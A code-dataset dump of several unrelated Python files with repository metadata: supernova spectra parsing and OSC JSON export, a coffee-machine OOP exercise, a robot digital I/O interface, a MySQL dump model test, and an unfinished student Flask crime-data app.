u.Angstrom if fu == 'Uncalibrated': fluxed = False fu = u.dimensionless_unscaled else: try: fu = u.Unit(fu) fluxed = True except ValueError: print("Warning: unrecognized unit for flux: {}".format(fu)) fluxed = False fu = u.dimensionless_unscaled tu = s.get('u_time', 'MJD') t = float(s['time']) if tu not in MJD_offsets: print("Warning: unrecognized time unit: {}".format(tu)) if len(s['time'].split('.')[0]) == 7 and s['time'][0] == '2': print(" assuming JD") t = t - 2400000.5 elif len(s['time'].split('.')[0]) == 5 and s['time'][0] == '5': print(" assuming MJD") else: print(" skipping this spectrum.") continue w = array([float(item[0]) for item in s['data']])*wu f = array([float(item[1]) for item in s['data']])*fu dr = s.get('deredshifted', False) if dr: w = w*(1+zhel) # At this point, we should be able to convert to the units we want w = w.to('Angstrom').value if fluxed: f = f.to('erg / (s cm2 Angstrom)') f = f.value # source reference srcs = s.get('source','').split(',') this_source = None for src in srcs: if src in all_sources: this_source = all_sources[src] break if this_source is None: print("Warning: spectrum has no source") if this_source not in used_sources: used_sources.append(this_source) # At this point we're actually using the spectroscopy, so find source sid = used_sources.index(this_source) sids.append(sid) spectra.append(spectrum(wave=w, flux=f, fluxed=fluxed, name="Spectrum MJD={:.1f}".format(t))) dates.append(t) snobj.sdata = timespec(snobj, dates, spectra) snobj.sdata.sids = sids if full_data: # make a dictionary of the remaining OSC meta data and make it a member # variable snobj.osc_meta = {} for key in d.keys(): if key not in ['name','redshift','ra','dec','sources','photometry', 'spectra']: snobj.osc_meta[key] = d[key] return(snobj,'Success') def to_osc(s, ref=None, bibcode=None, source=1): '''Given a supernova object, s, output to JSON format suitable for upload to the OSC.''' data = {s.name:{"name":s.name}} if ref or bibcode: sources = [dict(bibcode=bibcode, name=ref, alias=str(source))] data['sources'] = sources phot = [] for filt in s.data: for i in range(len(s.data[filt].MJD)): datum = dict(survey='CSP', observatory='LCO') datum.update(CSP_systems(filt, s.data[filt].MJD[i])) datum['time'] = "{:.3f}".format(s.data[filt].MJD[i]) datum['u_time'] = "MJD" datum['magnitude'] = "{:.3f}".format(s.data[filt].mag[i]) flux,eflux = s.data[filt].flux[i],s.data[filt].e_flux[i] datum['flux'] = "{:.5f}".format(flux) datum['u_flux'] = "s^-1 cm^-2" datum['e_flux'] = "{:.5f}".format(eflux) datum['e_upper_magnitude'] = "{:.3f}".format( -2.5*log10((flux-eflux)/flux)) datum['e_lower_magnitude'] = "{:.3f}".format( -2.5*log10(flux/(flux+eflux))) datum['source'] = "{}".format(source) phot.append(datum) data['photometry'] = phot return json.dumps(data, indent=4)

0

476

0

-3

23

b838c3e4fd3bce1a2cc716eb2ba8a849168a9356

744

py

Python

Day 15 - OOP/main.py

secureterminal/100-Days-of-Code

04383ae541938d8a551b5aac9a0dad3348a6ef23

[ "MIT" ]

1

2022-01-28T13:55:39.000Z

Day 15 - OOP/main.py

secureterminal/100-Days-of-Code

04383ae541938d8a551b5aac9a0dad3348a6ef23

[ "MIT" ]

1

2022-02-02T00:13:18.000Z

2022-02-03T11:32:53.000Z

Day 15 - OOP/main.py

secureterminal/100-Days-of-Code

04383ae541938d8a551b5aac9a0dad3348a6ef23

[ "MIT" ]

2

2022-02-07T20:49:36.000Z

2022-02-19T21:22:15.000Z

from menu import Menu from coffee_maker import CoffeeMaker from money_machine import MoneyMachine money_machine = MoneyMachine() coffee_maker = CoffeeMaker() menu = Menu() coffee_maker.report() money_machine.report() coffee_machine_is_on = True while coffee_machine_is_on: choices = menu.get_items() user_order = input(f'Please choose a coffee: ({choices})>>> ') if user_order == 'off': coffee_machine_is_on = False elif user_order == 'report': coffee_maker.report() money_machine.report() else: drink = menu.find_drink(user_order) if coffee_maker.is_resource_sufficient(drink) and money_machine.make_payment(drink.cost): coffee_maker.make_coffee(drink)

24.8

97

0.717742

from menu import Menu, MenuItem from coffee_maker import CoffeeMaker from money_machine import MoneyMachine money_machine = MoneyMachine() coffee_maker = CoffeeMaker() menu = Menu() coffee_maker.report() money_machine.report() coffee_machine_is_on = True while coffee_machine_is_on: choices = menu.get_items() user_order = input(f'Please choose a coffee: ({choices})>>> ') if user_order == 'off': coffee_machine_is_on = False elif user_order == 'report': coffee_maker.report() money_machine.report() else: drink = menu.find_drink(user_order) if coffee_maker.is_resource_sufficient(drink) and money_machine.make_payment(drink.cost): coffee_maker.make_coffee(drink)

0

10

0

fc8a2c85d00bef3bd3bd075b7a046a93e1e9c68c

4,269

py

Python

intera_interface/src/intera_interface/digital_io.py

thinclab/intera_sdk

556de67a88049687404734404e16b147943cde3c

[ "Apache-2.0" ]

38

2017-01-20T15:44:22.000Z

2022-01-28T15:15:40.000Z

intera_interface/src/intera_interface/digital_io.py

thinclab/intera_sdk

556de67a88049687404734404e16b147943cde3c

[ "Apache-2.0" ]

47

2016-12-16T19:41:03.000Z

2022-03-21T14:04:04.000Z

intera_interface/src/intera_interface/digital_io.py

thinclab/intera_sdk

556de67a88049687404734404e16b147943cde3c

[ "Apache-2.0" ]

52

2017-02-03T13:26:23.000Z

2021-03-16T14:25:51.000Z

# Copyright (c) 2013-2018, Rethink Robotics Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License.

29.853147

79

0.606699

# Copyright (c) 2013-2018, Rethink Robotics Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import errno import rospy import intera_dataflow from intera_core_msgs.msg import ( DigitalIOState, DigitalOutputCommand, ) class DigitalIO(object): """ DEPRECATION WARNING: This interface will likely be removed in the future. Transition to using the IO Framework and the wrapper classes: gripper.py, cuff.py, camera.py Interface class for a simple Digital Input and/or Output on the Intera robots. Input - read input state Output - turn output On/Off - read current output state """ def __init__(self, component_id): """ Constructor. @param component_id: unique id of the digital component """ self._id = component_id self._component_type = 'digital_io' self._is_output = False self._state = None self.state_changed = intera_dataflow.Signal() type_ns = '/robot/' + self._component_type topic_base = type_ns + '/' + self._id self._sub_state = rospy.Subscriber( topic_base + '/state', DigitalIOState, self._on_io_state) intera_dataflow.wait_for( lambda: self._state != None, timeout=2.0, timeout_msg="Failed to get current digital_io state from %s" \ % (topic_base,), ) # check if output-capable before creating publisher if self._is_output: self._pub_output = rospy.Publisher( type_ns + '/command', DigitalOutputCommand, queue_size=10) def _on_io_state(self, msg): """ Updates the internally stored state of the Digital Input/Output. """ new_state = (msg.state == DigitalIOState.PRESSED) if self._state is None: self._is_output = not msg.isInputOnly old_state = self._state self._state = new_state # trigger signal if changed if old_state is not None and old_state != new_state: self.state_changed(new_state) @property def is_output(self): """ Accessor to check if IO is capable of output. """ return self._is_output @property def state(self): """ Current state of the Digital Input/Output. """ return self._state @state.setter def state(self, value): """ Control the state of the Digital Output. (is_output must be True) @type value: bool @param value: new state to output {True, False} """ self.set_output(value) def set_output(self, value, timeout=2.0): """ Control the state of the Digital Output. Use this function for finer control over the wait_for timeout. @type value: bool @param value: new state {True, False} of the Output. @type timeout: float @param timeout: Seconds to wait for the io to reflect command. If 0, just command once and return. [0] """ if not self._is_output: raise IOError(errno.EACCES, "Component is not an output [%s: %s]" % (self._component_type, self._id)) cmd = DigitalOutputCommand() cmd.name = self._id cmd.value = value self._pub_output.publish(cmd) if not timeout == 0: intera_dataflow.wait_for( test=lambda: self.state == value, timeout=timeout, rate=100, timeout_msg=("Failed to command digital io to: %r" % (value,)), body=lambda: self._pub_output.publish(cmd) )

0

465

0

3,049

0

44

115

07a2a8bad2c82e238b18e385c8b1b2d9e1a12999

2,535

py

Python

tests/models/mysql_dumps_test.py

ywlianghang/mysql_streamer

7fc85efaca3db6a387ea4b791632c2df2d04cb3e

[ "Apache-2.0" ]

419

2016-11-17T18:41:47.000Z

2022-03-14T02:50:02.000Z

tests/models/mysql_dumps_test.py

ywlianghang/mysql_streamer

7fc85efaca3db6a387ea4b791632c2df2d04cb3e

[ "Apache-2.0" ]

19

2016-11-30T18:09:00.000Z

2019-04-02T06:20:02.000Z

tests/models/mysql_dumps_test.py

ywlianghang/mysql_streamer

7fc85efaca3db6a387ea4b791632c2df2d04cb3e

[ "Apache-2.0" ]

90

2016-11-23T06:26:20.000Z

2022-01-22T09:24:42.000Z

# -*- coding: utf-8 -*- # Copyright 2016 Yelp Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from __future__ import absolute_import from __future__ import unicode_literals

28.483146

77

0.672189

# -*- coding: utf-8 -*- # Copyright 2016 Yelp Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from __future__ import absolute_import from __future__ import unicode_literals import pytest from replication_handler.models.mysql_dumps import MySQLDumps @pytest.mark.itest @pytest.mark.itest_db class TestMySQLDumps(object): @pytest.fixture def cluster_name(self): return 'yelp_main' @pytest.fixture def test_dump(self): return 'This is a test dump' @pytest.yield_fixture def initialize_dump( self, sandbox_session, cluster_name, test_dump ): assert MySQLDumps.dump_exists(sandbox_session, cluster_name) is False test_mysql_dump = MySQLDumps.update_mysql_dump( session=sandbox_session, database_dump=test_dump, cluster_name=cluster_name ) sandbox_session.flush() assert MySQLDumps.dump_exists(sandbox_session, cluster_name) is True yield test_mysql_dump def test_get_latest_mysql_dump( self, initialize_dump, cluster_name, test_dump, sandbox_session ): new_dump = 'This is a new dump' retrieved_dump = MySQLDumps.get_latest_mysql_dump( session=sandbox_session, cluster_name=cluster_name ) assert retrieved_dump == test_dump MySQLDumps.update_mysql_dump( session=sandbox_session, database_dump=new_dump, cluster_name=cluster_name ) returned_new_dump = MySQLDumps.get_latest_mysql_dump( session=sandbox_session, cluster_name=cluster_name ) assert returned_new_dump == new_dump MySQLDumps.delete_mysql_dump( session=sandbox_session, cluster_name=cluster_name ) dump_exists = MySQLDumps.dump_exists( session=sandbox_session, cluster_name=cluster_name ) assert not dump_exists

0

1,756

0

32

69

0ec5fc82f6363d39869fe20305aa7077435f30d4

1,232

py

Python

WORK/working/crime_vis/crime.py

jessicagtz/WorkingFolder

4791618e1ec12b9cc38a6ceb1ff03bab1799b0bc

[ "MIT" ]

null

WORK/working/crime_vis/crime.py

jessicagtz/WorkingFolder

4791618e1ec12b9cc38a6ceb1ff03bab1799b0bc

[ "MIT" ]

null

WORK/working/crime_vis/crime.py

jessicagtz/WorkingFolder

4791618e1ec12b9cc38a6ceb1ff03bab1799b0bc

[ "MIT" ]

1

2018-12-06T21:33:44.000Z

# import dependencies from flask import Flask from sqlalchemy.ext.automap import automap_base from sqlalchemy.orm import Session from sqlalchemy import create_engine # database setup using automap engine = create_engine("sqlite:///chi_db.sqlite") Base = automap_base() # reflect the tables Base.prepare(engine, reflect=True) # Save references to the tables AllCrime = Base.classes.all_crime # Create our session (link) from Python to the DB session = Session(engine) # initialize Flask app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = "sqlite:///chi_db.sqlite" if __name__ == "__main__": app.run(debug=True)

27.377778

117

0.730519

# import dependencies from flask import Flask, jsonify, render_template, request, redirect from sqlalchemy.ext.automap import automap_base from sqlalchemy.orm import Session from sqlalchemy import create_engine, func, inspect import pandas as pd import numpy as np import datetime as dt # database setup using automap engine = create_engine("sqlite:///chi_db.sqlite") Base = automap_base() # reflect the tables Base.prepare(engine, reflect=True) # Save references to the tables AllCrime = Base.classes.all_crime # Create our session (link) from Python to the DB session = Session(engine) # initialize Flask app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = "sqlite:///chi_db.sqlite" @app.route("/crimehistory") def crime_dict(crime): results = session.query.(AllCrime.id, AllCrime.crimeGroup, AllCrime.year,AllCrime.nunCrimes).filter(AllCrimes.id) dict=[] for result in results: crime_dict= {} crime_dict["year"] = result.year crime_dict["id"] = result.id crime_dict["crimeGroup"] = result.crimeGroup crime_dict["nunCrimes"] = result.nunCrimes dict.append(crime_dict) return jsonify(dict) if __name__ == "__main__": app.run(debug=True)

0

449

0

55

95